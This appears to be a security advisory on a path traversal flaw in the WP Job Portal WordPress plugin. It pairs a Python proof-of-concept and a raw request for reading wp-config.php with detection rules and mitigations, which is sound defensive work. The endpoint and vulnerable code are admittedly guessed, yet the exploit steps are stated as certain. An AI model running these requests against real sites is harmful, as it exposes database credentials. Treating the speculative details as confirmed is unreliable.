CVE-2025-48273

Executive Summary

CVE-2025-48273 is a critical Path Traversal vulnerability (CWE-22) affecting the WP Job Portal WordPress plugin (slug: wp-job-portal) by wpjobportal, up to and including version 2.3.2. This vulnerability allows an unauthenticated attacker to read arbitrary files on the server by manipulating file path parameters, potentially exposing sensitive configuration files, database credentials, or source code. The CVSS score is 7.5 (High), with a network attack vector and no authentication required. As of this report, no official patch has been released, and the vendor has not acknowledged the issue. This vulnerability is particularly dangerous in shared hosting environments where WordPress installations are common.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or through automated deployment tools (e.g., Composer, WP-CLI) are affected. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch means that the supply chain risk is elevated, as no updated package exists to remediate the flaw. Organizations should treat this as a zero-day until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the file handling logic of the WP Job Portal plugin. The plugin fails to properly sanitize user-supplied input used in file path construction, allowing directory traversal sequences (e.g., ../) to escape the intended directory. An attacker can craft a request to read arbitrary files from the server, such as wp-config.php, which contains database credentials and authentication keys.

The vulnerable code likely resides in a function that processes file downloads or includes, where the path is concatenated with user input without validation. For example, a parameter like file=../../../etc/passwd could be passed to a PHP script that reads and outputs the file content.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes for path traversal vulnerabilities.

Vulnerable Code (PHP):

$file = $_GET['file'];
$content = file_get_contents( WP_PLUGIN_DIR . '/wp-job-portal/uploads/' . $file );
echo $content;

Patched Code (PHP):

$file = basename( $_GET['file'] );
$allowed_path = realpath( WP_PLUGIN_DIR . '/wp-job-portal/uploads/' );
$requested_path = realpath( $allowed_path . '/' . $file );
if ( strpos( $requested_path, $allowed_path ) !== 0 ) {
    die( 'Invalid file.' );
}
$content = file_get_contents( $requested_path );
echo $content;

The patched version uses basename() to strip directory components and realpath() to resolve the full path, then checks that the resolved path starts with the allowed directory.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with WP Job Portal plugin version <= 2.3.2 installed and activated.
• Knowledge of the plugin's file download endpoint (e.g., wp-content/plugins/wp-job-portal/includes/download.php).

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include ?page=wpjobportal&task=download&file=.
2. Craft a request to read sensitive files:

   GET /wp-content/plugins/wp-job-portal/includes/download.php?file=../../../wp-config.php HTTP/1.1
   Host: target-site.com
   

3. The server will return the contents of wp-config.php, revealing database credentials and salts.

Proof-of-Concept (Python):

import requests

target = "http://target-site.com"
endpoint = "/wp-content/plugins/wp-job-portal/includes/download.php"
payload = {"file": "../../../wp-config.php"}

response = requests.get(target + endpoint, params=payload)
if "DB_NAME" in response.text:
    print("[+] Success! wp-config.php retrieved.")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team

Detection:

• Monitor web server logs for requests containing ../ or ..%2f in query parameters.
• Look for requests to plugin-specific endpoints with suspicious file paths.
• Use the detection rules provided below.

Hunting:

• Search for wp-job-portal in installed plugins and verify version.
• Check for any recent file read attempts in access logs.

Indicators of Compromise (IOCs)

• File Paths: /wp-content/plugins/wp-job-portal/includes/download.php
• URL Patterns: ?file=../../../etc/passwd, ?file=..%2f..%2f..%2fwp-config.php
• Log Entries: HTTP GET requests with file parameter containing ../ sequences.
• Network: Outbound connections from the server to attacker-controlled IPs (if exfiltration occurs).

Detection Engineering

YARA Rule

rule CVE_2025_48273_WP_Job_Portal_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-48273"
    strings:
        $s1 = "wp-job-portal" nocase
        $s2 = "download.php" nocase
        $s3 = "../" ascii wide
        $s4 = "..%2f" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2025-48273 WP Job Portal Path Traversal
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects path traversal attempts against WP Job Portal plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-uri-query|contains:
            - 'wp-job-portal'
            - 'download.php'
        cs-uri-query|contains|all:
            - 'file='
            - '../'
    condition: selection
falsepositives:
    - Legitimate file downloads with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-48273 WP Job Portal Path Traversal Attempt";
    flow:to_server,established;
    content:"wp-job-portal"; http_uri; nocase;
    content:"download.php"; http_uri; nocase;
    content:"file="; http_uri; nocase;
    pcre:"/file=[^&]*\.\.\//i";
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. If disabling is not possible, implement a Web Application Firewall (WAF) rule to block path traversal patterns (e.g., ../, ..%2f).
3. Restrict file permissions on the server to limit the impact of file reads.

Long-term:

• Monitor the vendor's website for a patched version.
• Consider replacing the plugin with an alternative that is actively maintained.
• Conduct a security audit of all WordPress plugins in use.

Workaround: Add the following rule to .htaccess (Apache) or equivalent:

RewriteEngine On
RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f) [NC]
RewriteRule ^.* - [F,L]

Valters IT
Securing Digital Frontiers